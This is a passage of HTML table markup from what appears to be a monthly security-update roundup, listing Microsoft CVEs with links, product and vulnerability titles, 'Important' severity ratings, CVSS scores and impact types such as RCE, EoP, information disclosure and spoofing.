  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
